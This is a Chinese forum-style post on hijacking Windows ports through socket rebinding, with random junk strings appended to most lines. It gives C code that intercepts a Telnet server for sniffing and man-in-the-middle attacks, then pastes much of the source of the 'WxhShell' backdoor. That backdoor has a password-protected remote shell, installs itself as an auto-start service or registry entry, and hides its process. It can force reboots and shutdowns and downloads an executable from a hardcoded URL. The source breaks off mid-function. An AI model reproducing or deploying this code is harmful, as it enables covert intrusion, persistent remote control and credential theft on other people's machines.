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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ha20g/ UN.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;PX>] r5U0  
g=n /w  
  saddr.sin_family = AF_INET; =xsTVT;sj  
Q|:qs\6q5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]kyGm2Ty9  
Fop'm))C8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); . ,n>#lL  
U_C 1GT-|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ioS(;2F  
RE75TqYW  
  这意味着什么?意味着可以进行如下的攻击: r4Jc9Tv d  
Y**|e4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zvnR'\A_  
.uu[MzMIu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XSz)$9~hk  
~i/K7qZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Zv uhOn^  
Q96^rjY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iwT PJGK|  
;R{ffS6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "iTi+UZxe  
jr=erVHK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f 8836<c  
@t?uhT*Z=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O0 ,=@nw8.  
|4|j5<5  
  #include `%S#XJU  
  #include %w3"B,k'9D  
  #include Omy<Y@$  
  #include    )wueR5P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E(G&mfhb  
  int main() ?mJ&zf|B8  
  { M[7$cfp-Y~  
  WORD wVersionRequested; _mn2bc9M  
  DWORD ret; ORP-@-dap  
  WSADATA wsaData; lr_c  
  BOOL val; P+t`Rw  
  SOCKADDR_IN saddr; Ov PTgiI!N  
  SOCKADDR_IN scaddr; |(\T;~7'  
  int err; @fG 'X  
  SOCKET s; rW B/#m  
  SOCKET sc; Dk`(Wgk2  
  int caddsize; r:Rk!z*  
  HANDLE mt; }:a:E~5y  
  DWORD tid;   j$Z:S~*  
  wVersionRequested = MAKEWORD( 2, 2 ); x l4A<  
  err = WSAStartup( wVersionRequested, &wsaData ); Pmj%QhOYE  
  if ( err != 0 ) { M|xs>+r*  
  printf("error!WSAStartup failed!\n"); 2Bg0 M  
  return -1; Y ]6kA5  
  } eT6T@C](  
  saddr.sin_family = AF_INET; FA3YiX(-e  
   E|v9khN(].  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XPQY*.l&.  
p?XVO#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (N :vDq'  
  saddr.sin_port = htons(23); A9\(vxxOpC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W 2.Ap  
  { o-_H+p6a  
  printf("error!socket failed!\n"); 7F@#6  
  return -1; tzV^.QWm  
  } o{?Rz3z  
  val = TRUE; 8*Ke;X~N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gj H$!P=.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ny2. C?2  
  { pW4$$2S?9  
  printf("error!setsockopt failed!\n"); / U5!]7&gB  
  return -1; RJk42;]  
  } YwnYTt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oZwu`~h Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hWD%_"yhd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -b$m<\0*  
4(D/~OG-6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rK} =<R  
  { 3P2x%Gp  
  ret=GetLastError(); C 5 xsh  
  printf("error!bind failed!\n"); d !=AS  
  return -1; ?3=y]Vb+  
  } tqXr6+!Q  
  listen(s,2); fobnK~2  
  while(1) ^9fY %98  
  { [H5BIM@{  
  caddsize = sizeof(scaddr); h1REL^!c  
  //接受连接请求 OH/!Ky\@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6Mh"{N7  
  if(sc!=INVALID_SOCKET) #Q'j^y 7=z  
  { V18 A|]k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^LAnR>mz^r  
  if(mt==NULL) &Xh_`*]ox  
  { :^H2D=z@  
  printf("Thread Creat Failed!\n"); N/6! |F  
  break; ^Cy=L]  
  } s@D/.X  
  } uyDPWnYk  
  CloseHandle(mt); @P @{%I  
  } A} v;uNS]  
  closesocket(s); )/cf%  
  WSACleanup(); [D_s`'tg  
  return 0; =}UcYC6l  
  }   =k^ d5  
  DWORD WINAPI ClientThread(LPVOID lpParam) hnBX enT6  
  { @|'$k{i  
  SOCKET ss = (SOCKET)lpParam; 8@A}.:  
  SOCKET sc; wU(!fw\  
  unsigned char buf[4096]; b>]k=zd  
  SOCKADDR_IN saddr; ^ DCBL&I  
  long num; x|`BF%e/v  
  DWORD val; t 0.71(  
  DWORD ret; _Nacqa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lq2ZgKd!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R1vuf*A5,  
  saddr.sin_family = AF_INET; *%CDQx0}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &t:~e" 5<  
  saddr.sin_port = htons(23); g1v=a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $|m'~AmI  
  { u5N&Wn{  
  printf("error!socket failed!\n"); pc2;2^U_  
  return -1; -BcnJK0  
  } {R8)DK  
  val = 100; sZPyEIXie  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9%Qlg4~<s  
  { V `7(75  
  ret = GetLastError(); OF/hD2V  
  return -1; [P*zm8b  
  } &oxHVZJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wA\a ]X.  
  { D6,Ol4d  
  ret = GetLastError(); kX%vTl7F  
  return -1; g&I|@$\  
  } ; ,n}>iTE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) suHi sc*  
  { unc8WXW  
  printf("error!socket connect failed!\n"); H5Bh?mw2  
  closesocket(sc); =$SvKzN  
  closesocket(ss); V 5D8z  
  return -1; QjOY1Xze  
  } . ZP$,  
  while(1) lk.Mc6)  
  { N qS]dH61  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r;_*.|AH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GBY{O2!3u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w8cbhc  
  num = recv(ss,buf,4096,0); ,H>'1~q  
  if(num>0) mO2u9?N  
  send(sc,buf,num,0); #'dNSez5  
  else if(num==0) ]Z?jo#F  
  break; .z[#j]k  
  num = recv(sc,buf,4096,0); S!66t?vHB  
  if(num>0) ? =G{2E.  
  send(ss,buf,num,0); 'x6rU"e$J  
  else if(num==0) wOg#J  
  break; Y<h6m]H  
  } vj9'5]!~q  
  closesocket(ss); @,m 7%,  
  closesocket(sc); EY^?@D_<  
  return 0 ; $8}'h  
  } %7[q%S  
rvuasr~  
=q}Z2 OoYh  
========================================================== HCT+.n6  
u#UtPF7q  
下边附上一个代码,,WXhSHELL 7%Ou6P$^fr  
?x/Lb*a^  
========================================================== Va[t'%~&zR  
fp}5QUm-  
#include "stdafx.h" QmMA]Q  
X?o6=)SC|  
#include <stdio.h> 5mX^{V&^  
#include <string.h> WO6R04+WV  
#include <windows.h> qM<CBcON  
#include <winsock2.h> m 48Ab`  
#include <winsvc.h> a4n5i.;  
#include <urlmon.h> Ibg~.>.u{  
8jY<S+[o  
#pragma comment (lib, "Ws2_32.lib") L+~XW'P?  
#pragma comment (lib, "urlmon.lib") oqo7Ge2  
9_O6Sl  
#define MAX_USER   100 // 最大客户端连接数 |w{C!Q8l  
#define BUF_SOCK   200 // sock buffer wg<t*6&'x  
#define KEY_BUFF   255 // 输入 buffer 45k.U$<|  
b=5ZfhIg[  
#define REBOOT     0   // 重启 ~n$\[rQ  
#define SHUTDOWN   1   // 关机 Ehxu`>@N  
:D4'x{#H  
#define DEF_PORT   5000 // 监听端口 p3>Md?e  
D#A6s32a  
#define REG_LEN     16   // 注册表键长度 TKQ^D  
#define SVC_LEN     80   // NT服务名长度 bFSs{\zE  
(3~^zwA  
// 从dll定义API Lp(i&A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I4KE@H"%7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aW}d=y[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @_wJN Qo`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s bd$.6 |&  
E 02Y,C  
// wxhshell配置信息 [^W +^3V  
struct WSCFG { G[6i\Et   
  int ws_port;         // 监听端口 7Ck3L6J#  
  char ws_passstr[REG_LEN]; // 口令 KcUR /o5K  
  int ws_autoins;       // 安装标记, 1=yes 0=no X]o"4#CQIX  
  char ws_regname[REG_LEN]; // 注册表键名 a?xZsR  
  char ws_svcname[REG_LEN]; // 服务名 PEMBh?)g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n5z|@I`S_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M2\c0^R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I E{:{b\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^#IE t#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wt=\hixj-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |AT`(71  
;/t~MH  
}; 0Y:)$h2?  
$ w+.-Tr  
// default Wxhshell configuration z{&z  
struct WSCFG wscfg={DEF_PORT, qzEv!?)a  
    "xuhuanlingzhe", &;~?\>?I  
    1, i[ >U#5  
    "Wxhshell", ^C92R"*Qu  
    "Wxhshell", fz A Fn$[  
            "WxhShell Service", x6^Y&,y9kU  
    "Wrsky Windows CmdShell Service", @AM11v\:  
    "Please Input Your Password: ", e)N< r  
  1, +z:>Nl  
  "http://www.wrsky.com/wxhshell.exe", ANgt\8  
  "Wxhshell.exe" P)#h4|xZ  
    }; q!W=U8`  
hC9EL= A  
// 消息定义模块 97qf3^gGd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BMqr YW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7t1as.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5E*Qqe  
char *msg_ws_ext="\n\rExit."; "vg.{  
char *msg_ws_end="\n\rQuit."; R>]7l!3^1  
char *msg_ws_boot="\n\rReboot..."; z~==7:Os  
char *msg_ws_poff="\n\rShutdown..."; D/JSIDd  
char *msg_ws_down="\n\rSave to "; q#SEtyJL  
3=^)=yOd  
char *msg_ws_err="\n\rErr!"; C"$~w3A k  
char *msg_ws_ok="\n\rOK!"; ;mRZ_^V;  
oe|8  
char ExeFile[MAX_PATH]; Xk/iyp/  
int nUser = 0; ~y?Nn8+&f  
HANDLE handles[MAX_USER]; $VB dd~f  
int OsIsNt; \XYidj  
)2#&l  
SERVICE_STATUS       serviceStatus; 2r ;h">  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ca3SE^  
q"6$#o{~U  
// 函数声明 u! &T}i:  
int Install(void); 5423Ky<  
int Uninstall(void);  wlsx|  
int DownloadFile(char *sURL, SOCKET wsh); ;^u,[d  
int Boot(int flag); 3%Eu$|B  
void HideProc(void); :U *8S\$  
int GetOsVer(void); z&B9Yu4M7  
int Wxhshell(SOCKET wsl); k14<E /  
void TalkWithClient(void *cs); o"FR% %  
int CmdShell(SOCKET sock); e!o\AB%d  
int StartFromService(void); '7/F]S0K  
int StartWxhshell(LPSTR lpCmdLine); 5IOGH*'U8  
em5~4;&'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .9WOT ti  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bs`{qmbC  
Z4c'1-lh  
// 数据结构和表定义 /qMnIo  
SERVICE_TABLE_ENTRY DispatchTable[] = KeRC8mYp  
{ xm1'  
{wscfg.ws_svcname, NTServiceMain}, #"lb9. _ M  
{NULL, NULL} j*[P\Cm  
}; v+[S${  
!>D[Y  
// 自我安装 ZNM9@;7  
int Install(void) |TP,   
{ ^,mN-.W  
  char svExeFile[MAX_PATH]; lM}-'8tt?  
  HKEY key; iF":c}$.  
  strcpy(svExeFile,ExeFile); _x1W\#  
/CMgWGI  
// 如果是win9x系统,修改注册表设为自启动 09 trFj$L  
if(!OsIsNt) {  @;$cX2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :CK`v6 Qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D B65vM  
  RegCloseKey(key); 3 o$zT9j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +RJKJ:W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WJu(,zM?G  
  RegCloseKey(key); >j3':>\U  
  return 0; ]z5hTY  
    } rMHh!)^#W  
  } C:}1r  
} T/2k2r4PD  
else { ]jC{o,?s  
t72u%M6  
// 如果是NT以上系统,安装为系统服务 eY'n S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KvEv0L<ky  
if (schSCManager!=0) 7s3=Fa:9Q  
{ xr]bH.>  
  SC_HANDLE schService = CreateService E:dN)  
  ( ZI;*X~h  
  schSCManager, /9&!u )+  
  wscfg.ws_svcname, '*65j  
  wscfg.ws_svcdisp, ( H&HSs  
  SERVICE_ALL_ACCESS, 4x(m.u@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z-b78A/8  
  SERVICE_AUTO_START, :aomDK*  
  SERVICE_ERROR_NORMAL, i{TPf1OY`M  
  svExeFile,  J]XLWAM  
  NULL, t!SxJ B e  
  NULL, WeaT42*Q{  
  NULL, ygj%VG  
  NULL, @&`^#pok  
  NULL 2uN3:_w  
  ); ^|p D(v  
  if (schService!=0) LH)1IGAx2y  
  { i!*<LIq  
  CloseServiceHandle(schService); +6$+] u]  
  CloseServiceHandle(schSCManager); =}Zl E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s R>>l3H  
  strcat(svExeFile,wscfg.ws_svcname); i%.k{MY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bf+C=A)s0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aJf3rHX  
  RegCloseKey(key); %K')_NS@  
  return 0; n44 T4q  
    } Yj>4*C9  
  } a>W++8t1 ;  
  CloseServiceHandle(schSCManager); Md@x2Ja  
} Anu:  
} BYMdX J  
*#b e  
return 1; m(MQ  
} ar\|D\0V  
-dO8Uis$  
// 自我卸载 ;Ivv4u  
int Uninstall(void) %(p9AE  
{ `ovMfL.u  
  HKEY key; )mf|3/o  
l7jen=(Zb;  
if(!OsIsNt) { tc[Ld#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H`fJ< So?  
  RegDeleteValue(key,wscfg.ws_regname); }|2A6^FH.  
  RegCloseKey(key); PN?;\k)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { COu5Tu^  
  RegDeleteValue(key,wscfg.ws_regname); YW6a?f^!  
  RegCloseKey(key); )1B? <4  
  return 0; aaCRZKr  
  } 4-SU\_  
} Pg:xC9w4  
} 6'kQ(r>  
else { 0$c(<+D  
e ar:`11z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); No6-i{HZ  
if (schSCManager!=0) XP o#qT8n  
{ poW%Fzj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d]E={}qo&  
  if (schService!=0) bAH<h   
  { YcX"Z~O6j=  
  if(DeleteService(schService)!=0) { TMY. z  
  CloseServiceHandle(schService); 95~bM;T Vr  
  CloseServiceHandle(schSCManager); qQ^CSn98J  
  return 0; yOQae m^O  
  } gAorb\iJ  
  CloseServiceHandle(schService); mOh?cjOi  
  } ;z9 ,c  
  CloseServiceHandle(schSCManager); I50Ly sM  
} 1c#\CO1l  
} \9OKf|#j  
fXWE4^jU  
return 1; )'f=!'X  
} -r<8mL:yW  
$Ugc:L<h+  
// 从指定url下载文件 467"pqT  
int DownloadFile(char *sURL, SOCKET wsh) UakVmVN/P  
{ C=r`\W  
  HRESULT hr; X41Qkf{  
char seps[]= "/";  <a $!S  
char *token; N}%AUm/L  
char *file; ElpZzGj+  
char myURL[MAX_PATH]; x3FB`3y~s  
char myFILE[MAX_PATH]; r2+ZxMo|  
Z T*}KJm  
strcpy(myURL,sURL); b j@R[!ss  
  token=strtok(myURL,seps); $8U$.~v  
  while(token!=NULL) m-\_L=QzM  
  { ^j${#Q  
    file=token; Cq/u$G  
  token=strtok(NULL,seps); n:wAxU  
  } C^,b aCX  
eq%cRd]u  
GetCurrentDirectory(MAX_PATH,myFILE); xS%&l)dT  
strcat(myFILE, "\\"); mMllen  
strcat(myFILE, file); nTo?~=b  
  send(wsh,myFILE,strlen(myFILE),0); IFew3!{\  
send(wsh,"...",3,0); qF$y p>|#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QOUyD;0IW  
  if(hr==S_OK) dl8f]y#Q  
return 0; wT- -i@@  
else 0_ST2I"Ln  
return 1; \.iejB  
p<'pqf  
} k"gm;,`  
qzvht4  
// 系统电源模块 kZG; \  
int Boot(int flag) h>*3i#  
{ 3GKKC9C6  
  HANDLE hToken; k3t]lG p  
  TOKEN_PRIVILEGES tkp; tzd !r7  
Q.eD:@%iE  
  if(OsIsNt) { 8(Ptse  ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >gL&a#<S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >f Hu  
    tkp.PrivilegeCount = 1; 6l2O>V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QQN6\(;-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wd!Z`,R  
if(flag==REBOOT) { $PRd'YdL/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *a\x!c"  
  return 0;  q9{ h@y  
} VByA6^JR  
else { hNYO+LrI)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zQ,M795@EA  
  return 0; I>l^lv&[+  
} Lz_.m  
  } BjPU@rS .U  
  else { f ]_ki  
if(flag==REBOOT) { &g90q   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DVwB}W~  
  return 0; g.!k>_g`  
} PB"=\>]`N  
else { G#`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fW=<bf  
  return 0; >)NS U  
} 'L7u`  
} @N<h`vDa  
dQrz+_   
return 1; G?LC!9MB  
} 'lpCwH  
WQN`y>1#@_  
// win9x进程隐藏模块 ?8s$RYp14  
void HideProc(void) 5`e;l$ M`  
{ ](n)bF+ym  
!PeSnO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qhTVsZ:{C  
  if ( hKernel != NULL ) XABP}|aWK  
  { VuTTWBx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pN9U1!|uam  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LcA7f'GVK  
    FreeLibrary(hKernel); <6;@@  
  } >0iCQKq  
#b)`as?!1  
return; |N6.:K[`  
} K% snE7X?)  
 LDU4 D  
// 获取操作系统版本 u.n'dF-  
int GetOsVer(void) S?JGg.)  
{ vN_ 8qzWk  
  OSVERSIONINFO winfo; *fj]L?,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 60ciI,_`  
  GetVersionEx(&winfo); A\9LJ#E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0uM&F[.x@g  
  return 1; -\B*reC  
  else b|E ZD3y  
  return 0; UEx<;P8rP  
} nTtEv~a_n  
:EYUBtTj  
// 客户端句柄模块 n!SHExBp  
int Wxhshell(SOCKET wsl) *]R5bj.!o  
{ `Xeiz'~f8  
  SOCKET wsh; =E!Y f#p+q  
  struct sockaddr_in client; cl4 _M{~  
  DWORD myID; (`#z@,1  
:t "_I  
  while(nUser<MAX_USER) 9(!AKKrr;  
{ ,H.5TQ#  
  int nSize=sizeof(client); !"RRw&0M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F(lJ  
  if(wsh==INVALID_SOCKET) return 1; 9I<~t@q5e@  
}!Pty25j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); umnQ$y 0  
if(handles[nUser]==0) =w`uZ;l$Q  
  closesocket(wsh); w 2U302TZ  
else Gl|n}wo$  
  nUser++; B6Ajcfy  
  } \k"CtzoX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A*/8j\{n  
,G="wI  
  return 0; !J@!2S 9  
} 5#X R1#`  
q7soV(P  
// 关闭 socket .$y'>O*$G  
void CloseIt(SOCKET wsh) BAvz @H  
{ o6~JAvw  
closesocket(wsh); d@a<Eq  
nUser--; }f}?|&q  
ExitThread(0); `[}X_d 1A  
} }><[6Uz%  
IqepR >5t  
// 客户端请求句柄 PXtF#,roP  
void TalkWithClient(void *cs) 3X DU(#  
{ }hg2}g99  
W4k$m 2  
  SOCKET wsh=(SOCKET)cs; @K*W3&TO  
  char pwd[SVC_LEN]; B@dCCKc%/  
  char cmd[KEY_BUFF]; ^"=G=* /  
char chr[1]; *ej< 0I{  
int i,j; KDGrX[L:6  
+|X`cmnuU  
  while (nUser < MAX_USER) { J}8p}8eF,  
O(=9&PRi  
if(wscfg.ws_passstr) { ]&D= *:c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Edy ~;_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dic|n@_Fy  
  //ZeroMemory(pwd,KEY_BUFF); p"jze3mF  
      i=0; i_r708ep6  
  while(i<SVC_LEN) { jpZq]E9`P  
' i5KRFy-  
  // 设置超时 $YY{|8@kjv  
  fd_set FdRead; 4<E <sD  
  struct timeval TimeOut; m`q&[:  
  FD_ZERO(&FdRead); ew dTsgt'  
  FD_SET(wsh,&FdRead); L%\Wt1\[  
  TimeOut.tv_sec=8; iOb7g@=  
  TimeOut.tv_usec=0; m2l9([u=^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )wD/<7;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ gYj@ %  
_Ds,91<muQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y`7<c5zD  
  pwd=chr[0]; 6dz^%Ub  
  if(chr[0]==0xd || chr[0]==0xa) { Ac|dmu  
  pwd=0; %t!S 7UD  
  break; .o C! ~'  
  } YtWw)IK  
  i++; !plu;w  
    } OQ wO7Z  
Y[R>?w  
  // 如果是非法用户,关闭 socket OyK#Rm2A=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eu_ZsseZ  
} ]sVWQj  
{~Jk(c~I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7D:rq 8$\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HB}rpiB  
RU6c 8>"  
while(1) { sb8bCEm- \  
7_)38  
  ZeroMemory(cmd,KEY_BUFF); Nz`v+sp  
r[;d.3jtP  
      // 自动支持客户端 telnet标准   X;)/<:mX  
  j=0; yx4pQL7  
  while(j<KEY_BUFF) { g:y4C6b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `0M6<e]C  
  cmd[j]=chr[0]; k[a<KbS  
  if(chr[0]==0xa || chr[0]==0xd) { } }~a4p>%  
  cmd[j]=0; n9J{f"`m  
  break; 4`:POu&  
  } wJq$yqos{  
  j++; Tt{z_gU6  
    } qs bo"29  
9=T;Dxn  
  // 下载文件 w4TQ4 Y  
  if(strstr(cmd,"http://")) { '2<r{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P\6:euI  
  if(DownloadFile(cmd,wsh)) 4Nt4(3Kf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."B{U_P&  
  else SN L-6]j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2; ,8 u  
  } &}2@pu[S?7  
  else { >,3uu}s  
to&,d`k=-  
    switch(cmd[0]) { o}/|"(K  
  Ma$~B0!;s  
  // 帮助 l*&N<Yu  
  case '?': { "qR, V9\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S!z3$@o  
    break; J+ S]Qoz  
  } . 43cI(  
  // 安装 G bclu.4  
  case 'i': { Vym0|cW  
    if(Install()) w"dKOdY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ *"iLf@,  
    else =QtFJ9\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `\\s%}vZ*T  
    break; qA`@~\ qh"  
    } gSw <C+  
  // 卸载 zixG}'  
  case 'r': { KT<$E!@  
    if(Uninstall()) h{ix$Xn~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @d 7V@F0d  
    else c$&({Z{1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YOGj__:  
    break; Ow4(1eE_  
    } Gvh"3|u ?z  
  // 显示 wxhshell 所在路径 /PTRe5-7  
  case 'p': { W9tZX5V1  
    char svExeFile[MAX_PATH]; Mkk.8AjC|  
    strcpy(svExeFile,"\n\r"); _[Imwu}  
      strcat(svExeFile,ExeFile); a4 N f\7  
        send(wsh,svExeFile,strlen(svExeFile),0); ][?J8F  
    break; QOg >|"KL  
    } ; xp-MK  
  // 重启 >|kD(}Axf  
  case 'b': { `kQosQV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 457{9k  
    if(Boot(REBOOT)) 81s }4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YT(Eh3ID  
    else { C]5 kQ1Og  
    closesocket(wsh); kV?fie<\)  
    ExitThread(0); Bz-jy.  
    } v=lW5%r,'  
    break; H~Vf;k>  
    } 6V JudNA  
  // 关机 $'Mf$h  
  case 'd': { ;2 &"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); breF,d$  
    if(Boot(SHUTDOWN)) LAf#Rco4  
